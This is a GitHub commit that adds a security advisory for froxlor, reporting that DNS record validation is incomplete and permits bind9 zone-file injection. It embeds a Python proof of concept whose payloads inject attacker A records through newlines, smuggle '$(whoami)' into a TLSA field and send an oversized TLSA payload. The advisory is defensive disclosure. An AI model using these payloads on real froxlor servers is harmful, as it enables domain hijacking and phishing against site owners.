Skip to content

Commit df466c5

Browse files
1 parent bafd88f commit df466c5

1 file changed

Lines changed: 59 additions & 0 deletions

File tree

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-j6fm-9rfm-j5hx",
4+
"modified": "2026-05-29T15:45:31Z",
5+
"published": "2026-05-29T15:45:31Z",
6+
"aliases": [
7+
"CVE-2026-41237"
8+
],
9+
"summary": "Froxlor has an incomplete fix for CVE-2026-30932",
10+
"details": "### Summary\n\nThe LOC record regex uses `\\s+` which matches newlines (allowing embedded newlines to pass), TLSA `matchingType=0` has no upper bound on hex data length, and all validators return raw input without zone-file escaping.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** froxlor\n- **Affected versions:** all versions before fix commit b34829262dc3\n- **Patched versions:** >= commit b34829262dc3\n\n### Severity\n\nMedium -- CVSS\n\n### CWE\n\nCWE-74 -- Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection)\n\n### Details\n\nDNS record content is concatenated directly into bind9 zone files at `DnsEntry.php` line 83. Before the fix, LOC/RP/SSHFP/TLSA records had no content validation at all, enabling zone file injection via embedded newlines.\n\nThe fix adds format-specific regexes and field validation but has gaps: the LOC regex's `\\s+` matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file. TLSA `matchingType=0` only requires `len(data) >= 2` with no upper bound, enabling arbitrarily large payloads. All validators return raw input without zone-file escaping.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-30932 - Incomplete DNS Record Content Validation in froxlor/froxlor\n\nAffected component: lib/Froxlor/Api/Commands/DomainZones.php\nVulnerability type: Input Validation / DNS Zone File Injection\nPatch: https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b\n\nThe patch adds validation for LOC, RP, SSHFP, and TLSA DNS record types.\nHowever, the sanitization is incomplete:\n\n1. PRE-FIX: No validation at all - arbitrary content stored as DNS records.\n2. POST-FIX BYPASS: LOC regex \\s+ matches newlines; TLSA matchingType=0\n allows unbounded hex data; validators return raw input without escaping.\n\"\"\"\n\nimport re\nimport sys\nimport string\n\ndef vulnerable_add_record(record_type, content):\n \"\"\"Pre-fix: no validation for LOC, RP, SSHFP, TLSA.\"\"\"\n errors = []\n if record_type in ('LOC', 'RP', 'SSHFP', 'TLSA') and content:\n pass\n return {\"errors\": errors, \"content\": content}\n\n\ndef validate_dns_loc(inp):\n \"\"\"Replicates Validate::validateDnsLoc from the patch.\"\"\"\n pattern = re.compile(\n r'^'\n r'(\\d{1,2})\\s+'\n r'(\\d{1,2})\\s+'\n r'(\\d{1,2}(?:\\.\\d+)?)\\s+'\n r'([NS])\\s+'\n r'(\\d{1,3})\\s+'\n r'(\\d{1,2})\\s+'\n r'(\\d{1,2}(?:\\.\\d+)?)\\s+'\n r'([EW])\\s+'\n r'(-?\\d+(?:\\.\\d+)?)m'\n r'(?:\\s+(\\d+(?:\\.\\d+)?)m'\n r'(?:\\s+(\\d+(?:\\.\\d+)?)m'\n r'(?:\\s+(\\d+(?:\\.\\d+)?)m)?'\n r')?)?$',\n re.DOTALL\n )\n m = pattern.match(inp)\n if not m:\n return False\n\n lat_deg = int(m.group(1))\n lat_min = int(m.group(2))\n lat_sec = float(m.group(3))\n lon_deg = int(m.group(5))\n lon_min = int(m.group(6))\n lon_sec = float(m.group(7))\n\n if lat_deg > 90: return False\n if lat_min > 59: return False\n if lat_sec >= 60: return False\n if lon_deg > 180: return False\n if lon_min > 59: return False\n if lon_sec >= 60: return False\n\n return inp\n\n\ndef validate_dns_sshfp(inp):\n \"\"\"Replicates Validate::validateDnsSshfp from the patch.\"\"\"\n parts = inp.strip().split()\n if len(parts) != 3:\n return False\n\n algorithm, fp_type, fingerprint = parts\n\n valid_algorithms = [1, 2, 3, 4, 6]\n if not algorithm.isdigit() or int(algorithm) not in valid_algorithms:\n return False\n\n valid_types = [1, 2]\n if not fp_type.isdigit() or int(fp_type) not in valid_types:\n return False\n\n if not all(c in string.hexdigits for c in fingerprint):\n return False\n\n fp_type_int = int(fp_type)\n expected = {1: 40, 2: 64}.get(fp_type_int, 0)\n if len(fingerprint) != expected:\n return False\n\n return inp\n\n\ndef validate_dns_tlsa(inp):\n \"\"\"Replicates Validate::validateDnsTlsa from the patch.\"\"\"\n parts = inp.strip().split()\n if len(parts) != 4:\n return False\n\n usage, selector, matching_type, data = parts\n\n if not usage.isdigit() or int(usage) not in [0, 1, 2, 3]:\n return False\n if not selector.isdigit() or int(selector) not in [0, 1]:\n return False\n if not matching_type.isdigit() or int(matching_type) not in [0, 1, 2]:\n return False\n if not all(c in string.hexdigits for c in data):\n return False\n\n mt = int(matching_type)\n if mt == 1 and len(data) != 64:\n return False\n if mt == 2 and len(data) != 128:\n return False\n if mt == 0 and len(data) < 2:\n return False\n\n return inp\n\n\ndef validate_dns_rp(inp):\n \"\"\"Replicates Validate::validateDnsRp from the patch.\"\"\"\n parts = inp.strip().split()\n if len(parts) != 2:\n return False\n\n mbox, txt = parts\n mbox = mbox.rstrip('.')\n txt = txt.rstrip('.')\n\n domain_re = re.compile(r'^[a-zA-Z0-9._-]+$')\n if not domain_re.match(mbox):\n return False\n if not domain_re.match(txt):\n return False\n\n return inp\n\n\ndef fixed_add_record(record_type, content):\n \"\"\"Post-fix: validates content but returns raw input.\"\"\"\n errors = []\n validators = {\n 'LOC': validate_dns_loc,\n 'RP': validate_dns_rp,\n 'SSHFP': validate_dns_sshfp,\n 'TLSA': validate_dns_tlsa,\n }\n if record_type in validators and content:\n result = validators[record_type](content)\n if result is False:\n errors.append(f\"The {record_type} record has invalid content\")\n return {\"errors\": errors, \"content\": content}\n\n\ndef generate_zone_line(record, ttl, rtype, content):\n \"\"\"Replicates DnsEntry.php line 83: direct string concatenation.\"\"\"\n return f\"{record}\\t{ttl}\\tIN\\t{rtype}\\t{content}\\n\"\n\n\nvuln_confirmed = False\n\nprint(\"=\" * 70)\nprint(\"CVE-2026-30932 PoC: froxlor DNS Record Content Injection\")\nprint(\"=\" * 70)\nprint()\n\nprint(\"[TEST 1] VULNERABLE version: SSHFP record with zone injection\")\nprint(\"-\" * 70)\n\nmalicious_sshfp = \"1 1 aabbccdd\\nevil.example.com.\\t300\\tIN\\tA\\t6.6.6.6\"\nresult = vulnerable_add_record('SSHFP', malicious_sshfp)\n\nif not result['errors']:\n zone_output = generate_zone_line('@', 300, 'SSHFP', result['content'])\n print(\"VULNERABLE: No validation, malicious content accepted!\")\n print(\"Generated zone file output:\")\n print(\"---\")\n print(zone_output, end=\"\")\n print(\"---\")\n if \"6.6.6.6\" in zone_output:\n print(\"[!] DNS zone injection: attacker A record (6.6.6.6) injected!\")\n vuln_confirmed = True\n\nprint()\n\nprint(\"[TEST 2] FIXED version: same SSHFP injection attempt (should be blocked)\")\nprint(\"-\" * 70)\n\nresult_fixed = fixed_add_record('SSHFP', malicious_sshfp)\nif result_fixed['errors']:\n print(\"FIXED: Blocked -\", \"; \".join(result_fixed['errors']))\nelse:\n print(\"BYPASS: Still accepted!\")\n vuln_confirmed = True\n\nprint()\n\nprint(\"[TEST 3] FIXED version BYPASS: LOC record with newline via \\\\s+ matching\")\nprint(\"-\" * 70)\n\nloc_bypass = \"51 28 38 N 0 0 1\\nW\\n10m\"\nresult_loc = fixed_add_record('LOC', loc_bypass)\n\nif not result_loc['errors']:\n zone_output = generate_zone_line('@', 300, 'LOC', result_loc['content'])\n lines = [l for l in zone_output.split('\\n') if l.strip()]\n if len(lines) > 1:\n print(\"BYPASS CONFIRMED: LOC with embedded newline passed validation!\")\n print(f\"Generated zone output has {len(lines)} lines:\")\n print(\"---\")\n print(zone_output, end=\"\")\n print(\"---\")\n vuln_confirmed = True\n else:\n print(\"Validated but single line output.\")\nelse:\n print(\"Blocked:\", \"; \".join(result_loc['errors']))\n templates = [\n \"51\\n28 38 N 0 0 1 W 10m\",\n \"51 28\\n38 N 0 0 1 W 10m\",\n \"51 28 38\\nN 0 0 1 W 10m\",\n \"51 28 38 N\\n0 0 1 W 10m\",\n \"51 28 38 N 0\\n0 1 W 10m\",\n \"51 28 38 N 0 0\\n1 W 10m\",\n \"51 28 38 N 0 0 1\\nW 10m\",\n \"51 28 38 N 0 0 1 W\\n10m\",\n ]\n for i, t in enumerate(templates):\n r = fixed_add_record('LOC', t)\n if not r['errors']:\n zone_out = generate_zone_line('@', 300, 'LOC', r['content'])\n zlines = [l for l in zone_out.split('\\n') if l.strip()]\n if len(zlines) > 1:\n print(f\" BYPASS at position {i}: newline in LOC passed validation!\")\n print(f\" Zone output lines: {len(zlines)}\")\n vuln_confirmed = True\n break\n else:\n print(\" LOC newline bypass not directly exploitable in this regex engine.\")\n\nprint()\n\nprint(\"[TEST 4] FIXED version BYPASS: TLSA matchingType=0 with oversized hex payload\")\nprint(\"-\" * 70)\n\nhuge_hex = \"aa\" * 50000\ntlsa_payload = \"3 1 0 \" + huge_hex\nresult_tlsa = fixed_add_record('TLSA', tlsa_payload)\n\nif not result_tlsa['errors']:\n print(f\"BYPASS: TLSA with matchingType=0 accepted {len(huge_hex)} char hex payload!\")\n print(\" -> No upper bound on certificate association data length.\")\n print(\" -> Can be used for DNS amplification or data exfiltration channel.\")\n print(f\" -> Zone line would be {len(generate_zone_line('_443._tcp', 300, 'TLSA', result_tlsa['content']))} bytes!\")\n vuln_confirmed = True\nelse:\n print(\"Blocked:\", \"; \".join(result_tlsa['errors']))\n\nprint()\n\nprint(\"[TEST 5] VULNERABLE version: LOC record with full zone takeover injection\")\nprint(\"-\" * 70)\n\nmalicious_loc = \"51 28 38 N 0 0 0 W 10m\\nevil\\t300\\tIN\\tA\\t10.0.0.1\\n*.evil\\t300\\tIN\\tA\\t10.0.0.2\"\nresult_vuln_loc = vulnerable_add_record('LOC', malicious_loc)\n\nif not result_vuln_loc['errors']:\n zone_output = generate_zone_line('@', 300, 'LOC', result_vuln_loc['content'])\n lines = [l for l in zone_output.split('\\n') if l.strip()]\n print(f\"VULNERABLE: Injected {len(lines)} zone file lines!\")\n print(\"Generated zone output:\")\n print(\"---\")\n print(zone_output, end=\"\")\n print(\"---\")\n if \"10.0.0.1\" in zone_output:\n print(\"[!] Attacker DNS records injected into zone file!\")\n vuln_confirmed = True\n\nprint()\n\nprint(\"[TEST 6] VULNERABLE vs FIXED: TLSA with shell metacharacters\")\nprint(\"-\" * 70)\n\nshell_inject = \"3 1 1 $(whoami)\"\nvuln_r = vulnerable_add_record('TLSA', shell_inject)\nfixed_r = fixed_add_record('TLSA', shell_inject)\n\nvuln_status = \"ACCEPTED (no validation)\" if not vuln_r['errors'] else \"BLOCKED\"\nfixed_status = \"ACCEPTED\" if not fixed_r['errors'] else \"BLOCKED\"\n\nprint(f\" VULNERABLE version: {vuln_status}\")\nprint(f\" FIXED version: {fixed_status}\")\n\nif not vuln_r['errors'] and fixed_r['errors']:\n print(\" -> Fix correctly blocks shell metacharacters in TLSA.\")\nif not vuln_r['errors']:\n vuln_confirmed = True\n\nprint()\n\nprint(\"=\" * 70)\nprint(\"RESULTS SUMMARY\")\nprint(\"=\" * 70)\nprint()\nprint(\"Pre-fix (VULNERABLE):\")\nprint(\" - LOC, RP, SSHFP, TLSA records accept ANY content with no validation\")\nprint(\" - Enables DNS zone file injection via newlines in record content\")\nprint(\" - Content directly concatenated into zone files (DnsEntry.php:83)\")\nprint()\nprint(\"Post-fix (INCOMPLETE):\")\nprint(\" - TLSA matchingType=0 has no upper bound on hex data length\")\nprint(\" - Validation returns raw input without zone-file escaping\")\nprint(\" - No output encoding when writing content to zone files\")\nprint()\n\nif vuln_confirmed:\n print(\"VULNERABILITY CONFIRMED\")\n sys.exit(0)\nelse:\n print(\"VULNERABILITY NOT CONFIRMED\")\n sys.exit(1)\n\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/froxlor/froxlor /tmp/froxlor_test`\n2. `cd /tmp/froxlor_test && git checkout b34829262dc3~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nLOC, RP, SSHFP, TLSA records accept unvalidated content; DNS zone file injection via newlines and shell metacharacters\n```\n\n### Impact\n\nAn authenticated froxlor user with DNS management permissions can inject arbitrary records into bind9 zone files, enabling domain hijacking, phishing, or DNS amplification attacks via unbounded TLSA payloads.\n\n### Suggested Remediation\n\nReplace `\\s+` in the LOC regex with `[ \\t]+` to exclude newlines. Add a maximum length for TLSA `matchingType=0` data. Escape or reject newlines in all DNS record content before writing to zone files.\n\n### Resources\n\n- Incomplete fix commit: https://github.com/froxlor/froxlor/commit/b34829262dc3\n- Original CVE: CVE-2026-30932",
11+
"severity": [],
12+
"affected": [
13+
{
14+
"package": {
15+
"ecosystem": "Packagist",
16+
"name": "froxlor/froxlor"
17+
},
18+
"ranges": [
19+
{
20+
"type": "ECOSYSTEM",
21+
"events": [
22+
{
23+
"introduced": "0"
24+
},
25+
{
26+
"fixed": "2.3.7"
27+
}
28+
]
29+
}
30+
],
31+
"database_specific": {
32+
"last_known_affected_version_range": "<= 2.3.6"
33+
}
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-j6fm-9rfm-j5hx"
40+
},
41+
{
42+
"type": "ADVISORY",
43+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30932"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/froxlor/froxlor"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-74"
53+
],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-05-29T15:45:31Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)